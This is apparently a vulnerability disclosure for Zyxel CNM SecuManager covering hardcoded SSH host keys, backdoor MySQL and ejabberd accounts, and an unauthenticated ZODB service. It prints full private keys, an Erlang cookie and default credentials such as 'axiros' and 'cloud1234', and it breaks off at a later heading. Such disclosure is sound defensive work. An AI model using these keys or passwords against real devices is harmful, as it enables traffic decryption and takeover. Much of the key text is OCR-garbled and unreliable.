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Multiple vulnerabilities found in Zyxel CNM SecuManager

Product Description

The Zyxel Cloud CNM SecuManager is a comprehensive network management software that provides an integrated console to monitor and manage security gateways including the ZyWALL USG and VPN Series that can be extended in the future.

Zyxel CNM SecuManager 3.1.0/3.1.1 (Nov 14, 2018) is the latest version.

Vulnerabilities Summary

The summary of the vulnerabilities is:

- Hardcoded SSH server keys CVE-2020-15312, CVE-2020-15313, CVE-2020-15314, CVE-2020-15315, CVE-2020-15316, CVE-2020-15317, CVE-2020-15318, CVE-2020-15319
- 2. Backdoors accounts in MySQL CVE-2020-15320, CVE-2020-15321, CVE-2020-15322
- Hardcoded certificate and backdoor access in Ejabberd CVE-2020-15323, CVE-2020-15324, CVE-2020-15325, CVE-2020-15326
- 4. Open ZODB storage without authentication CVE-2020-15327, CVE-2020-15328, CVE-2020-15329
- 5. MyZyxel 'Cloud' Hardcoded Secret
- 6. Hardcoded Secrets, APIs CVE-2020-15330, CVE-2020-15331, CVE-2020-15332
- 7. Predefined passwords for admin accounts CVE-2020-15333
- 8. Insecure management over the 'Cloud'
- 9. xmppCnrSender.py log escape sequence injection CVE-2020-15334
- xmppCnrSender.py no authentication and clear-text communication CVE-2020-15335, CVE-2020-15336, CVE-2020-15337, CVE-2020-15338
- 11. Incorrect HTTP requests cause out of range access in Zope
- 12. XSS on the web interface CVE-2020-15339
- 13. Private SSH key CVE-2020-15340
- Backdoor APIs CVE-2020-15341, CVE-2020-15342, CVE-2020-15343, CVE-2020-15344, CVE-2020-15345, CVE-2020-15346
- 15. Backdoor management access and RCE CVE-2020-15347
- 16. Pre-auth RCE with chrooted access CVE-2020-15348

Technical Note

The attack surface is very large and many different stacks are being used making it very interesting. Furthermore, some daemons are running as root and are reachable from the WAN. Also, there is no firewall by default.

Details - Hardcoded SSH server keys

By default, the appliance uses hardcoded SSH server keys for the main host and for the chroot environments as shown below. This allows an attacker to MITM and decrypt the encrypted traffic:

```
root@chopin:/etc/ssh# ls -la /etc/ssh/
drwxr-xr-x 2 root root 4096 Mar 6 2018 .
drwxr-xr-x 77 root root 4096 Dec 20 2019 ..
-rw-r--r-- 1 root root 136156 Jan 26 2018 moduli
-rw-r--r-- 1 root root 1669 Jan 26 2018 ssh_config
-rw-r--r-- 1 root root 2522 Mar 6 2018 sshd_config
-rw----- 1 root root
-rw-r--r-- 1 root root
                          668 Mar 6 2018 ssh_host_dsa_key
                          601 Mar 6 2018 ssh host dsa key.pub
-rw----- 1 root root
                          227 Mar 6 2018 ssh_host_ecdsa_key
-rw-r--r-- 1 root root
                          173 Mar 6 2018 ssh_host_ecdsa_key.pub
-rw----- 1 root root 1675 Mar 6 2018 ssh_host_rsa_key
-rw-r--r-- 1 root root
                          393 Mar 6 2018 ssh_host_rsa_key.pub
1024 80:24:2d:f6:66:d4:db:93:10:bd:0b:ef:bf:78:33:12 root@chopin (DSA)
256 04:e0:44:00:20:8a:9f:df:b9:01:4a:ba:b0:55:d6:57 root@chopin (ECDSA)
2048 56:ad:2f:a7:79:83:5b:64:32:d4:05:ce:7a:de:8f:44 root@chopin (RSA)
root@chopin:/etc/ssh# cat ssh_host_dsa_key
----BEGIN DSA PRIVATE KEY-----
MIIBUWIBAAKBgQCdYajCHQF9wLkG+i88infBPbLkhE3cTTRHCbE5/vQ7/SdSdGH7
WlNJh9EkTdz17XDJW53y5IRz8SSxC0M3BXszcGQcHqqTtWVIpv08D5WztWYgQctA
RJDcu1rYZvtPq1qHN6Xo5zbPjvp0JnIT1/SoN1/jB8qIR0FNuQPAeBMfiQIVAIqq
ufhcUfFSN4QJmMIgtpB6sCwnAoGBAIokbAVvxkQJX4yUxwBx0xyHydPLVkNggYkU
zfWYGxat4acsIwCAHy50k+oUnFxbVy9kp5YpGjp6uEWLegBIGQNBDxKmORp6Zvq7
MrWMaAL5VK0aJt4DiKQgGz4y2csCwRj6ioifxwBZLXJ+AKv4g7pRwyTDMVl6Gcy/
McgvCePGAoGAGb3elvsIcuDlbiQ3aCohhOpxLcMhgLblRde+eRJJywvKrat4njJd
2jAdVvUA6N76sPaxEP18oQJiZ1A76Qp8G6PMYsjJGsD8o1GdjOpMNcDLI9wLgAKS
66DrS4w05RtHV43mb8NAVqC+wxlgwtbY3/A+X0faEOuOkPf3o0UVCi0CFGj4gg+A
+eDbJtE7Lq5vw8qBFHcq
 ----END DSA PRIVATE KEY----
root@chopin:/etc/ssh# cat ssh_host_ecdsa_key
  ----BEGIN EC PRIVATE KEY----
MHcCAQEEII/rgKz6KXFYu9gjlaasMA7F4fA5bvy5nYFL+GSDVClSoAoGCCqGSM49
AwEHoUQDQgAETS0b/mPZ+x/F5NtfKGOkuMvx3AZL6MW9LkV64igIFgb0kUvoGjXx
f0iXR5Rgtgec6fatdKGYPsRTz3eBzKSNzA==
----FND FC PRTVATE KEY---
root@chopin:/etc/ssh# cat ssh host rsa key
  ---BEGIN RSA PRIVATE KEY---
MIIEowIBAAKCAQEA3+4JXEBUNFcdux2oS7s2okKtk2UARJurWGs/nYVs+8vFRBVU
21QqTTZkRTAAOPsDByo77BELr/DcYqtMPXBh3FLftrt5Su9pI04caPbL8BoeoOfq
LUY4nvZfTq/qmClxtp/Azg4Z495vTbMT3411TKcyGIyN7Ag1ESiQ2iKU9BvRAwuN
xxIDBBmGGNSkyWC+T1ZiiuK8cfN5MgVpDyO6HcgJuaKgH8jjcbCUUizmUKJ7495i
itXll2uD6/WNHl8gikRNQBg+3Qpb+BEeTkWzaC+XgLADz+w5GQxreXW4T2yh5vtU
ph9ZT4j8EdEVig7Zrw6KlGguu6R97UylPHrFMwIDAQABAOIBAADyS53VM8Xo3FpP
HMF9KZTz/THTSnX/xnCgO2uaBcTmrpXEFVC67FbZNQFJ26ZiAThFiG10ASOkO/o6
yR61W+SHgSSP1EqpymL40IvtBx2jrp91e3rnghPB7NMzUSWFf1KLSFBWpOtepE/K
epD9jbzu41DJ6btZReGU+ZzeF18JFhxj1KaIObglrRxlKuYA1IE0+B5DgL1CBKcD
ahQVELECgYEA9WW7jDkgy1MTt09tBM1yuxW7LBwvUkWJQ334IbTcmr2fmBM0ZZY1
4gpxb1WDCGJ8tk01AvLopxputuFE1kBHgeXip0UlhYopK5lvbXnMvVgHEipNzhsw
0qvgCzk+Cc8FUDsHtm1BJkuZREce50mcbEnTLmtbaod8MNT3AfnGHCsCgYEA6Zrb
jq9faU6FMrPH5BFSeNLVH+FgrmiEVxY8G8mjqThBumY2WIgM/Sg612IJllwYCvq7
PEkvKCBmpKcKM8zICLxM4AUctuPnhwFsVsAHfXu1sRK059US/EdaHdrVf0Eivzmi
LV3zOSPq28TkvVfNkNSe3y4FXsOhc+G+6QoyjxkCgYEAr4MAfY0KeIHFsX4g0fOD
IG2tfiH2cnhLcVsyUiFCOuZus9zFSkD2fVIMyOYeHqwaGF4ao65KWeHc164MhtRY
kH5z+kDJUlZ7lbRdFBGuNz9fZ02cclIePD8zsbNSPL+1RCnEHWTM2O/vAdeAMdoD
{\tt J6wxf5zH0E0ItQBMXjxfxhsCgYAWd4VM0M01Xh7jXHUKEzxqUGSc91EUFQs9U08h}
AOiTesvff7sUUallI5xdIJmpc1wAmlKtnaCLSWp1xXbuunA2nt2J4hP75vlae6GO
ylMuF1rHF/R8I3r69mdXTbeg0IPnJbjy4QlGYpTw5APXzf0AQ+Kvtj5f+dKqUXjJ
8 ugf6QKBgDXRRHhF1F1JcDmMV+USaPfF5dcOpEX1PTxeHIPaFjUGBuq4kcT3NUPa\\
OJLAS+rg1PMrX6ggStNOSMG2kh7kne2Y38oE0zg9mKnRpP56e9DX/cWF/r1pMSvE
ceH7BAFV9daHQUoz4ljrsJQnvgVT4DTANpw8zB/7bTwBnD519AZB
----END RSA PRIVATE KEY----
root@chopin:/etc/ssh#
```

Same problem inside the "Axess" chroot:

```
root@chopin:/opt/axess/etc/ssh# ls -la
drwxr-xr-x 2 root root 4096 Mar 6 2018 .
drwxr-xr-x 81 root root 4096 Mar 6 2018 ..
-rw-r--r-- 1 root root 136156 Mar 6
                                         2018 moduli
-rw-r--r-- 1 root root 1669 Mar 6 2018 ssh_config
-rw-r--r-- 1 root root 2489 Mar 6 2018 sshd_config
-rw-r--r-- 1 root root
-rw-r--r-- 1 root root
                            668 Mar 6 2018 ssh_host_dsa_key
                            601 Mar 6 2018 ssh host dsa key.pub
-rw-r--r-- 1 root root
                            227 Mar 6 2018 ssh_host_ecdsa_key
-rw-r--r-- 1 root root
                            173 Mar 6 2018 ssh_host_ecdsa_key.pub
-rw-r--r- 1 root root 1679 Mar 6 2018 ssh_host_rsa_key
-rw-r--r-- 1 root root
                           393 Mar 6 2018 ssh_host_rsa_key.pub
root@chopin:/opt/axess/etc/ssh# for i in *pub; do ssh-keygen -lf $i ; done
1024 49:73:d6:b0:8e:c0:de:d5:a4:5d:32:0a:2d:83:d9:2f root@chopin (DSA)
256 53:fa:90:76:ed:9d:bc:28:8c:f4:4c:5e:88:29:f6:85 root@chopin (ECDSA)
2048 a2:59:77:cf:8c:0b:55:c3:53:a6:3a:fd:ac:d7:70:35 root@chopin (RSA)
root@chopin:/opt/axess/etc/ssh# cat ssh_host_dsa_key
  ---BEGIN DSA PRIVATE KEY----
MIIBugIBAAKBgQDLSttOJ+6RcDH+Lavzzo3+vXNeQiWCyE5XsaxUc++QugyxILRA
kWskEqtq+E1ZkX5H52lzguxsVVzWSvdII8yDJoH026X51o/hLeT20LPokOWQgnoT
eziWd3wEYBYIyko6cBNnQICKFY4JUgo5xVfV4kVFjdqKYM6p5BFyBHSddQIVAOw/
SpLXgrkXAcQ7nUXdhQcAjbT/AoGAMuwFJlCkAV9GSRfElQZkljMG7/P2svnoN9H1
XgZ6mCuIQ/8HNcTgkXAuDZ64RL/QGK+ClhGd0xFrsw9+gWtL1L0ZuwoGcNj2iaZ0
h49SoS6IJ+sFb6cHApXrgBgZv0O4FbpL8o5Tl6U2L0i3mlCXMGUSFAzpFTjwxcYG
fDnzrKoCgYBNcFwsJtr5ElvfUHwKoyXZ0xT3PswzL4VCSD9SAASI8VhT2LdYTk7Z
/0q4E9rUPZP4BNehb9juxGNqjW0wcXNnr0VDuN0vz2Vv+nKG6u8KIc1RbKs8J9H5
zzHRidPZLVdU0vVRrM/1kVvIFlZpnl9Ybuz2Ra5ZHPFhJ4SoqbHFRgIUBX+oAX4Z
ffkRUot9igOsNx6txoU=
 ----END DSA PRIVATE KEY----
root@chopin:/opt/axess/etc/ssh# cat ssh host ecdsa key
  ----BEGIN EC PRIVATE KEY-----
{\tt MHcCAQEEIGYB3fxcDt1ket4FRhbFKtqHcQ4K8HPnkAgmvP6hj8InoAoGCCqGSM49}
AwEHoUQDQgAE116tsZ+HvPjDY4VvgN76fP/XF6DMUd75vY5DqVR2Av68KSUh5Ns9
yhOyfcNB89XBABE2VpM4h0yljhqwFASQCQ==
----FND FC PRTVATE KEY---
root@chopin:/opt/axess/etc/ssh# cat ssh host rsa key
----BEGIN RSA PRIVATE KEY-----
MIIEPQIBAAKCAQEAyaNk4eTtEKfkcpTQaxB/LL2A/XQhljt1UF22yJUYXh0VJCCJ
SNn36QbN0eI9qsaohlFobaM1ithKyp6rQbZzzw/Jg7W76hA1NLSqbNS7mgg6bD1X
5/M810JjjQ9iXUXx7/XrT/Of34QMvOjfKsOmtMsUYbk9Qf9G0so58yYGlNMSKNZb
604flsztM1LIPYXLZV4uQrV9BjUhSpumvYGc93fw88V5fYEYfGcF0pUVEfBvgGvZ
50558GR+A1LF6IdVbmViAZ6HgxiMaM85F2h7QBbt3SrNOfTO481EBD4j7ipnBpJM
KURPQQH7KxKEzi8VaE4qVU0eZcIGeMeRr0prnwIDAQABAoIBAAohsKb9FsBYf00W
lyZaDNnVp86UcD+ZOzrPiqinfTL1aSOIkv1bHm7SDavT519WXg9ptcKUidMxLQjj
Uh2aKlWEKI76qbeIGvRMA6g2RDroIO9hYbJg8XSM742d8UZYhmCVTb6VsjnL68vu
M5B1hkHdVmfWo/JV/lwHF0RVa808eulp96xjvHEOHziVFKCXEsS1UD16h2/+oI1n
5oIPGn7JTU1zGkpf53oDZla0Gi076JtYadGn4NU7g6Y103xweqgzKDJlIJhC5rL7
8Rn9Tef1YmjCL+Nhz6fMqkeFMWkaY8HvONyVsulv4qJoCKYKdXzp/vdf+rkKApuq
\verb|mTNxSkkCgYEA95y6gCSold/pl]ijGJdD1NT/BS/yMbq78VaIwx/8hHEkKXVedfdk|
hEvh8eBxinkogR3fgPEOSfvu2N4CEYVTdJS72+4hgNRgMDW8ToawgkHnuBfH2+Wp
kFqiw9rPsE5I/MsngSXOVBPipQWk+5HKNlN8AcD7stefuHjmTPrAJfUCgYEA0Hf7
van2ZO6Vk3oW6NB+fshWsSK4BzskkB21I/zcMzLFla5gJMKAOONwmtFgLP18kvEz
ZkAK1yneKDz1JmF+vC594WDkk9RO3oB0KcYYJSplccaVgGfUiAfvpRMBYwrx6CWS
2GgBkxIpg9XE/XPQlDAl5P5wMqXJtS/AjMSEOsMCgYEAtf0Tdit7i/ZOj1DATsqe
gEcESKO8tgAwkmivi/pudklR8sa47gstza6YGlaEH9sc0glKxFJpTnfRasOBca80
b3MBv9t99FojeEuGY5DLN9fIn52a3xwlTFvRVXH1Q/fF3UbTejB3PYSACBnl8KBu
pw81DYTxebjRQ5xYaCvEHiECgYEAmInSyRZwVjZFeF3zeXNlu7s3w/FVmuTpwhIa
wzR4o3XZIcc3n6I6Wlf8AyyFJSOAxbx8Eat2wy29gs/nyae5JlUWgt11I75L3386
gH6UmE1HYVMffY978fVsousfLquJioZDxtmDnWvCuNaoh5RA4M3CTKbozgaFa3B/
ggEhiCUCgYEAhcuDPqDYZpDW5pvgLSfb8WmfxMKZqMffrIdjBhMjWSq1Y5+M8EHC
7ufXlwa2v2bNmBZCtHYWSAM061BhEwxW/cDo29V9ncA0kCiwYVKYuof27ziExp1A
530+t7PjU4CKCaNzVcuW9ivQ0HkBnMNAqHGR01OSBk4Qfizfz2wzLD8=
----END RSA PRIVATE KEY----
root@chopin:/opt/axess/etc/ssh#
```

It should be noted the private keys are using wrong permissions and are world-readable (644).

Same problem again in the "mysql" chroot:

```
root@chopin:/opt/mysql/etc/ssh# ls -la
drwxr-xr-x 2 root root 4096 Mar 18 2015 .
drwxr-xr-x 66 root root 4096 Mar 6 2018 ..
-rw-r--r-- 1 root root 125749 Apr 3 2014 moduli
-rw-r--r- 1 root root 1669 Apr 3 2014 ssh_config
-rw-r--r- 1 root root 2453 Mar 18 2015 sshd_config
-rw----- 1 root root
                          668 Mar 18 2015 ssh_host_dsa_key
-rw-r--r-- 1 root root
                          601 Mar 18 2015 ssh host dsa key.pub
-rw----- 1 root root 1679 Mar 18 2015 ssh_host_rsa_key
                          393 Mar 18 2015 ssh_host_rsa_key.pub
-rw-r--r-- 1 root root
root@chopin:/opt/mysql/etc/ssh# for i in *pub; do ssh-keygen -lf $i ; done
1024 3e:46:e9:be:c0:8c:ba:dc:46:3a:3f:22:4f:77:0b:ae root@chopin (DSA)
2048 da:b5:27:e4:80:da:4e:18:cf:b9:52:49:2c:72:e2:ce root@chopin (RSA)
root@chopin:/opt/mysql/etc/ssh# cat ssh_host_dsa_key
  ---BEGIN DSA PRIVATE KEY----
MIIBuwIBAAKBgQDWqnzU+ljijXqKw5vEG+p6euc73+CrIDP+JAqvD6udBLe8ojDi
813N814BxXKcTwGAEeHQMMtPthNvPrO4IMVdf9Z/3mhRhX9x7NB/Fm7JrCjDwY4c
x8R+inJk9y86ow7fUodKfN9nt5Zh6FsfPs/0vq4Mg2MLjUkiau3UQy7mhQIVAOCr
fau8ONhgh8vCPvw8mIVIJnmbAoGAEqWt4/b1D7Fevf3b2afmMt02zUDNIv1xJjhL
EcG4Q6FxT0WwKIdBGDeOaB7gGR7acWvfr5yrMhQLgvAWMhdlkG0UY4Q/2Kh0PR1p
D4ZMssaxHnt/EprT+GxZfy4e9MhK3RwdeYCSwfvbcIKznFbHv+AUDZ6j/KRpU1e/
Pi//Y18CgYBCt5jPU0bIymiXaX3FnDNBoydI91mU0z8qVDDp49vZdOJnemtzU7d5
4k8UGOoBSZ12PC+W0ZNJNH5jWA2DV5+Pajq+UsYW6JHog8PMHmdLDo6+yF96avsE
8b Gr SWq SV 0NZ 8g 7NV Rasuaj JVZ Hoe 1gp ENTvd + LxbK Hiv 7f 4bvq GQw IVAMS 7r Cpe
UyV29YpCEwVrL5CXEAeW
  ---END DSA PRIVATE KEY----
root@chopin:/opt/mysql/etc/ssh# cat ssh host rsa key
 ----BEGIN RSA PRIVATE KEY-----
{\tt MIIEpAIBAAKCAQEAvnS8NXGuXV1FTmotghmZgNE3weboUbqiUjznYqZ1aIbvhvS5}
GY1VZMYgtEj4y2+perz9wuvdv8/M+it3cc4XfQdpASY1niL/P5M304tD+9ah/z3A
VD10xDRevC7LQ1kX0FJr1Q5RRTR1cmChsLWi9zEFbDSzJy9anZk+U/uQSQZsy710
0ZntWSkjnH79+0A6GqKJ5S9PNhqaFWmB76kBbf21iWki2acIErhGg9ThnmR0vFRy
/QqeH8P83RDXYzd0nkLgxjL3GNI+Y/Dw+h6ks0zNoGIGfE1QsFc3gtkv8B28uomV
fTo5xLS+/UKKmZnCq0UPC3cElskhAtYMYfZgkQIDAQABAoIBADnl301WUM55+/K5
nnoFdD/P2mZs3sUxunTLpP+9W+ip1JkvPjIAKOCIxppn8JJPsLLqTy55a6EK9+I5
YodLQqK0pPw/dF9Nf1ECXR9HH/SoK/ke+Z/iP1awIPiONSZHVSK/E4ttndEvAGEz
9RN2NEN3OJHLd4b7A04Trvny6Mr5zYe6bXgLK7DZRzE+dAUVIP4XV1tdFh26K1hG
UvO2ihU+Tuz9AxhP3+UIgndMMsFhxk52ItBobCSts5WzPrzZs+QWXmoS6gcWnYU7
3LohV9Kn8lpDiu/lB7dQz/awyWaEKOf1U+p473qmH53+HahT50Apj27djtF4lvEx
Lfv8ct0CgYEA6wMyHEzVh0OLJNJ2J3RgebsfukTigM8QQqMKWqUep55/66W/85QL
mejFd2ipOJZF/VV/fgw+ocK8Z9zt1W2S0O3JRC29Gs7icwvUnErr0g7k5Xs3m61N
pteRH1ATxW+bX12I9BWpQv6jMZcR1xXNz4yn0XSumZz/vZ7ABxntR6sCgYEAz3bm
FECHPRtzg68/eHPbZ+A+3sD7vuH7AuD1X6yWozWgdE7aGf0wG+CFerNQBgqkv1R6
JMOT/lqOg/T8j/EWuGfIQcHHso2/ePSPl08YsAaXdmy2f+OSNC4CqdCeBLRgFvjt
gxhge8iunu/tWUsB9iAiBPS2bsQVX+ymDE7TzLMCgYEAi39BHmVJFdo03K2EbtT4
cylsos9Ct3yxRSyr97QtZweBHOos7zOAU2JE3CUm1Sz17HL0k8dAAhqqZOhRqjH5
RMTwg+S2bBRDfFCYahFauzwWCFVEY8bR4efw/2oz4izmSAwoP+Ifr2Ggks3+S/Jo
UPtHnd+pyArWDsMNbumn27MCgYApOpe+rpQxsKLkKI+UgHG50varje55oK8hg1NA
ECxfgujANGtjfs1wvM3J9JiSmsriuwcLB1MB2T2e+7C1alP5kaZaawgkk8bZYsCm
cTGWvbiP8ErUX4V0mVYuKSc+CBqOdie9Rbrm3prV0xk0Bbf+EaSxF3Cp0o3s4iqd
d4zfwQKBgQDeZmWqkMX/vmwV4GzgV2FRNcVry5nNWlt6wroF7DEuA7WGAZVRSBx0
nPzDkg3iorJEzXBmIwMNv3IN5NIdin/GSxbMMwx7JvKaPVKw5GubmICO/T9hVurJ
2RnfOAuZaMO1bZSD49;EV30cxBM/gPORvvAHGrlvG2kHoXan5aDcHO==
 ----END RSA PRIVATE KEY---
root@chopin:/opt/mysql/etc/ssh#
```

Hopefully, the root account has been disabled in the /etc/shadow file (1234 is the password if the account is re-enabled).

The management access using the <code>secu_manager</code> user is still vulnerable to MITM/decryption.

Details - Backdoors accounts in MySQL

MySQL is pre-configured with several static accounts. It only listens to the loopback interface.

Credentials:

- root / axiros
- root / axiros from 61.222.86.79 / zyadb79.zyxel.com.tw (HINET-NET, Taiwan)
- root / axiros from 118.163.48.108 / 118-163-48-108.HINET-IP.hinet.net (HINET-NET, Taiwan)
- · root / axiros from localhost
- root / axiros from chopin (127.0.0.1)
- livedbuser / axzyxel
- zyxel / ?? (hash: B149E2C1869FF94FD5ED8F2C882486599B4CF8E4)

The access have been extracted from the previous mysql history file and several configuration files:

```
GRANT ALL PRIVILEGES ON *.* TO 'root'@'61.222.86.79' IDENTIFIED BY 'axiros';
GRANT ALL PRIVILEGES ON *.* TO 'root'@'118.163.48.108' IDENTIFIED BY 'axiros';
INSERT INTO 'user' VALUES ('localhost','root','*68CB74FACED3A93965CFA3FA266AF50E17E92A56',[...]
('chopin','root','*68CB74FACED3A93965CFA3FA266AF50E17E92A56',[...]
('127.0.0.1','root','*68CB74FACED3A93995CFA3FA266AF50E17E92A56',[...]
('localhost','debian-sys-maint','*D000798D1C7EC350F7AA4E4482D68A0770B85194',[...]
('127.0.0.1','livedbuser','*42D02F8D1F74B2F0252592EFFCE69BEEE35FA06B',[...]
('127.0.0.1','zyxel','*B149E2C1869FF94FD5ED8F2C88248659984CF8E4',[...]
('118.163.48.108','root','*68CB74FACED3A93995CFA3FA266AF50E17E92A56',[...]
('61.222.86.79','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',[...]
('%','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',[...]
```

These passwords are hardcoded by the vendor and used everywhere:

From collectd:

From Axess TR-069 solutions:

```
root@chopin:/opt# cat /opt/axess/etc/axess/TR69/Managers/_live/asynch/mysqlCPEStorage/db.txt
[...]
server=127.0.0.1
port=3306
tablename=CPFManager CPFs
[...]
user=livedbuser
password=axzyxel
[...]
root@chopin:/opt/axess/opt/axess/zyxel# cat zodb checkout.sh | grep root
mysqldump -h 127.0.0.1 -u root -paxiros live ScenarioObjects > /opt/axess/zyxel_zyxel_customizations/dbdumps/policies_
table.sql
mysqldump -h 127.0.0.1 -u root -paxiros live axalarm_handlers > /opt/axess/zyxel_customizations/dbdumps/alarms_t
mysqldump -h 127.0.0.1 -u root -paxiros live AXServiceDefinitionTable > /opt/axess/zyxel/zyxel customizations/dbdumps/
services table.sql
mysqldump -h 127.0.0.1 -u root -paxiros --no-data live CPEManager_CPEs > /opt/axess/zyxel/zyxel_customizations/dbdump
s/cpes_table.sql
```

And from various places inside Python code:

```
/opt/axess/opt/axess/Extensions/recreate_all_realm.pyc
db = MySQLdb.connect(host='127.0.0.1', user='root', passwd='axiros', db=cnmid)
```

Also the system account debian-sys-maint is using a non-editable hardcoded password wbboEZ4BN3ssxAfM:

```
root@chopin:/opt/mysql/etc/mysql# cat debian.cnf
# Automatically generated for Debian scripts. DO NOT TOUCH!
[client]
host = localhost
user = debian-sys-maint
password = wbbotZ4BN3ssxAfM
[...]
host = localhost
user = debian-sys-maint
password = wbbotZ4BN3ssxAfM
[...]
```

Details - Hardcoded certificate and backdoor access in Ejabberd

Ejabberd is used to manage all the CPEs connected through TR-069.

The Ejabberd process uses an hardcoded certificate along with a private key:

Content of ejabberd.pem:

```
root@chopin:/opt/production_xmpp/etc/ejabberd# cat ejabberd.pem
 ----BEGIN RSA PRIVATE KEY--
MIICXwIBAAKBgQDppPTghA6irhkzfDA1PyDV/cJzjN946mUV2uq4PiI3Uk5gaIZZ
15CV1rPKKxH1UguIfNHTFfyHC0Td478IprCYuiWE6Yw/5/NTc0pHkW3MeYl1c711
R6ZtKTYbn3n5HbmHJzluuBm8qWdgyO2HAG011uf5P29Nerra0LMj8MKULwIDAQAB
AoGBAJfMH3ja83NIL4FetydxC1FcnABczzgM+X34jDUF0U81/1vtrRQj1IE1S/wW
fYVoN6wGhIBjMX0/mg+bjxr8yZBCp96XZCu/POqNqOHPvvFrFryGSzqh/LkG0+tG
\verb|ojXjIpYd+Y6eTz2Fj2DPRyczaGJod1SxUz41v92GiyWGTFnhAkEA/Z8Dhxhu8ZNK|\\
nBl+lkE6X0tCZ0kn1Hkq8zIKWVvSsu859u7t7+5/LoBRYkqx0FwoPl2+uBY6BtQV
0AQT/S5d3wJBAOvV+ad1JnG06gMEnAdtwv0fvBlUB1arisI+CbgU0f9PgPITwEFQ
B82EgKsfOeuh71oHudY8PQLwaBtO41hRuy0ry27QUcn1ayVwDiQVK8j2AxwxAkEA
1oLTyYCijiobKtGXhp5M/OZPto4a+refyBybxIcJVfQf6pESj5XZ0Llzp2yKQQ21
Fv9V4xEeu33YZoH0kZP3kOJBALJPeT67cR8H7k4FdGXFh6vJdNILZ/91ac9cFZf3
ZjabcZWnSgn1QD9ARV/Cd2dsX3xGY4vuoM4hvwjHKAMWHhg=
 ----END RSA PRIVATE KEY----
----BEGIN CERTIFICATE----
{\tt MIIDEDCCAnmgAwIBAgIJAPvsRdD6v5ITMA0GCSqGSIb3DQEBBQUAMGQxFTATBgNV}
BAOTDHp5eGVsLmNvbS50dzEPMA0GA1UECxMGY2hvcGluMREwDwYDVQQDEwhlamFi
YmVyZDEnMCUGCSqGSIb3DQEJARYYcm9vdEBjaG9waW4uen14ZWwuY29tLnR3MB4X
DTE1MDQxMzE2MzIxNFoXDTE2MDQxMjE2MzIxNFowZDEVMBMGA1UEChMMen14ZWwu
Y29tLnR3MQ8wDQYDVQQLEwZjaG9waW4xETAPBgNVBAMTCGVqYWJiZXJkMScwJQYJ
KoZIhvcNAQkBFhhyb290QGNob3Bpbi56eXhlbC5jb20udHcwgZ8wDQYJKoZIhvcN
AQEBBQADgY0AMIGJAoGBAOmk9OCEDqKuGTN8MDU/INX9wn0M33jqZRXa6rg+IjdS
TmBohlnXkJXWs8orEfVSC4h80dMV/IcLRN3jvwimsJi6JYTpjD/n81NzSkeRbcx5
iWVzvXVHpm0pNhufefkduYcnOW64GbypZ2DI7YcAbSXW5/k/b016utrQsyPwwpQv
{\tt AgMBAAGjgckwgcYwHQYDVR00BBYEFE1fcSfVUJtFKuVzIr7Ps8lasbKYMIGWBgNV}
HSMEgY4wgYuAFE1fcSfVUJtFKuVzIr7Ps8lasbKYoWikZjBkMRUwEwYDVQQKEwx6
eXhlbC5jb20udHcxDzANBgNVBAsTBmNob3BpbjERMA8GA1UEAxMIZWphYmJlcmQx
JzAlBgkqhkiG9w0BCQEWGHJvb3RAY2hvcGluLnp5eGVsLmNvbS50d4IJAPvsRdD6
v5ITMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADgYEAECFhOm4y+Ad31tXd
Nfl2XyU5g6arxLMlrH2sSUcne2EkRNUZsKoEM0MkLUir7oBDqf+gd9dC92zF7qrr
iae Or MVtFpNu31Bx/YSubhENDyegalWT8zi4TYdxz2ehExGpl0SRjhtrdqs99R+2\\
gm711P4aV1TQaC+WMpkIP6eyIMM=
----END CERTIFICATE--
```

Also, the management webservice is reachable on the WAN interface on port 5280/tcp. It allows to list accounts (linked to CPEs) and remove them. The authentication is using hardcoded credentials:

```
http://[ip]:5280/admin/
```

An attacker can visit the administration, manage all the CPEs using the default credentials (al@chopin / cloud1234) and create some havoc:

```
http://[ip]:5280/admin/vhosts/
```

 $These \ credentials \ are \ hardcoded \ inside \ / opt/axess/opt/axXMPPH and ler/config/xmpp_config.py:$

```
XMPP_PORT = 5222
XMPP_SERVER = "127.0.0.1"
XMPP_JID = "al@chopin"
XMPP_PASS = "cloud1234"
```

Also, the permissions of this file are wrong and this file is world-readable

```
root@chopin:~/pre-auth-rce-4# ls -la /opt/axess/opt/axXMPPHandler/config/xmpp_config.py
-rw-r--r- 1 root root 1738 Mar 6 2018 /opt/axess/opt/axXMPPHandler/config/xmpp_config.py
```

Also, the shared secret for ejabberd replication, called the Erlang cookie, is hardcoded:

```
      root@chopin:/opt/production_xmpp/var/lib/ejabberd# hexdump -C .erlang.cookie

      00000000 42 41 4b 56 41 55 48 4d 51 52 49 53 49 4a 59 55 | BAKVAUHMQRISIJYU|

      00000010 45 56 4d 4b
      | EVMK |
```

Details - Open ZODB storage without authentication

ZODB is a native object database for Python.

By default, a python process managing the 'Zope Object Database' runs on the appliance and is reachable over the network on port 8100/tcp without authentication:

```
/usr/bin/python 2.7 / opt/axess/eggs/Z00B3-3.10.5-py2.7-linux-x86\_64.egg/ZEO/runzeo.py -C / opt/axess/parts/zeo/etc/zeo.conf
```

Configuration:

```
root@chopin:/opt/axess/opt/axess/parts/zeo/etc# cat zeo.conf
[...]
   address 8100
   read-only false
[...]
   path /opt/axess/var/filestorage/Data.fs
   blob-dir /opt/axess/var/blobstorage
[...]
```

Futhermore, by default, the logfile contains multiple (=~ 100) entries from 2016 about 'insecure mode setting':

```
2016-02-29T13:45:04 (17833) Blob dir /opt/axess/var/blobstorage/ has insecure mode setting
```

The blob directory has wrong permissions and is world-readable:

```
root@chopin:/opt/axess/opt/axess/var/blobstorage# ls -latr
total 16
drwxr-xr-x 2 210 210 4096 Feb 29 2016 tmp
-rw-r--r-- 1 210 210 0 Jul 12 2016 .removed
-rwxr-xr-x 1 210 210 5 Mar 6 2018 .layout
drwxr-xr-x 3 210 210 4096 Mar 6 2018 .
drwxr-xr-t 6 210 210 4096 Dec 20 2019 ..
root@chopin:/opt/axess/opt/axess/var/blobstorage#
```

The Data.fs file has also wrong permissions and is world-readable:

```
root@chopin:/opt/axess/opt/axess/var/blobstorage# ls -la /opt/axess/opt/axess/var/filestorage/Data.fs -rw-r--r- 1 210 210 31398638 Mar 6 2018 /opt/axess/opt/axess/var/filestorage/Data.fs
```

This file contains cookies, password, hashes, access controls parameters, python code, serialized python variables and logs from TR-069:



Exposing this service on the WAN is likely to be a bad idea and will result as a pre-auth RCE as axess.

Details - MyZyxel 'Cloud' Hardcoded Secret

